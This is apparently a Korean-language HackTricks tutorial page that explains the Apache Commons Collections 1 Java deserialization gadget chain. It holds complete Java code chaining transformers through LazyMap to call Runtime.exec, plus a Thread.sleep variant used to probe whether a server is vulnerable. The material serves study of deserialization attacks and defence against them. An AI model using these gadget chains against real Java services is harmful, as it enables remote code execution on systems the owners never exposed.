CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep

htARTE (HackTricks AWS Red Team Expert)를 통해 제로에서 영웅까지 AWS 해킹을 배워보세요!

Java Transformers를 사용한 Rutime exec()

여러 곳에서는 다음과 같이 Apache common collections의 transformers를 사용하는 자바 역직렬화 페이로드를 찾을 수 있습니다:

import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1PayloadOnly {
public static void main(String... args) {
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), //(1)
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
), //(2)
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
), //(3)
new InvokerTransformer("exec",
new Class[]{String.class},
command
) //(4)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

//Execute gadgets
lazyMap.get("anything");
}
}

만약 자바 역직렬화 페이로드에 대해 아무것도 모른다면, 이 코드가 calc를 실행하는 이유를 이해하기 어려울 수 있습니다.

먼저 알아야 할 것은 자바에서의 Transformer클래스를 받아서 다른 클래스로 변환하는 것입니다. 또한 여기서 실행되는 페이로드는 다음과 같습니다:

Runtime.getRuntime().exec(new String[]{"calc.exe"});

또는 더 정확히 말하면, 최종적으로 실행될 것은 다음과 같습니다:

((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

어떻게

그래서, 첫 번째 페이로드는 "간단한" 한 줄짜리 페이로드와 동등한 것으로 나타낼 수 있는 방법은 어떤 것인가요?

첫 번째로, 페이로드에서 변환의 체인(배열)이 생성되는 것을 알 수 있습니다:

String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
//(1) - Get gadget Class (from Runtime class)
new ConstantTransformer(Runtime.class),

//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),

//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime oject
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),

//(4) - Use the Runtime object to call exec with arbitrary commands
new InvokerTransformer("exec",
new Class[]{String.class},
command
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

코드를 읽으면 배열의 변환을 연결하는 방법을 알 수 있습니다. 이렇게 연결하면 임의의 명령을 실행할 수 있습니다.

그렇다면, 이러한 변환은 어떻게 연결되는 걸까요?

Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
lazyMap.get("anything");

마지막 섹션에서 페이로드를 볼 수 있습니다. Map 객체가 생성됩니다. 그런 다음, LazyMap에서 decorate 함수가 실행되고 맵 객체와 연결된 변환기가 전달됩니다. 다음 코드에서 볼 수 있듯이, 이로 인해 연결된 변환기lazyMap.factory 속성 내에 복사됩니다.

protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}

그리고 마지막으로 위대한 피날레가 실행됩니다: lazyMap.get("anything");

다음은 get 함수의 코드입니다:

public Object get(Object key) {
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

그리고 이것은 transform 함수의 코드입니다.

public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

그래서, factory 안에는 **chainedTransformer**가 저장되어 있고, transform 함수 안에서는 모든 연결된 transformer를 순회하면서 하나씩 실행합니다. 재미있는 점은 각 transformer가 입력으로 object를 사용하고 object는 마지막으로 실행된 transformer의 출력입니다. 따라서, 모든 변환은 악성 페이로드를 실행하는 연결된 상태입니다.

요약

마지막으로, lazyMap이 get 메서드 내에서 연결된 transformer를 관리하는 방식 때문에, 우리가 다음 코드를 실행하는 것과 같습니다:

Object value = "someting";

value = new ConstantTransformer(Runtime.class).transform(value); //(1)

value = new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", null}
).transform(value); //(2)

value = new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
).transform(value); //(3)

value = new InvokerTransformer("exec",
new Class[]{String.class},
command
).transform(value); //(4)

각 변환의 입력은 value이며 이전 변환의 출력이기 때문에 한 줄로 실행할 수 있다는 점에 주목하세요:

((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

여기에서는 ComonsCollections1 페이로드에 사용되는 가젯들에 대해 설명되었습니다. 그러나 이 모든 것이 어떻게 실행되는지는 설명되지 않았습니다. 여기에서 ysoserial을 볼 수 있습니다. 이 페이로드를 실행하기 위해 AnnotationInvocationHandler 객체를 사용합니다. 이 객체가 역직렬화될 때 payload.get() 함수를 호출하여 전체 페이로드를 실행합니다.

Java Thread Sleep

이 페이로드는 웹이 취약한지 여부를 확인하는 데 유용할 수 있습니다. 취약하다면 sleep을 실행합니다.

import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1Sleep {
public static void main(String... args) {
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Thread.class),
new InvokerTransformer("getMethod",
new Class[]{
String.class, Class[].class
},
new Object[]{
"sleep", new Class[]{Long.TYPE}
}),
new InvokerTransformer("invoke",
new Class[]{
Object.class, Object[].class
}, new Object[]
{
null, new Object[] {7000L}
}),
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

//Execute gadgets
lazyMap.get("anything");

}
}

더 많은 가젯

더 많은 가젯은 여기에서 찾을 수 있습니다: https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

Last updated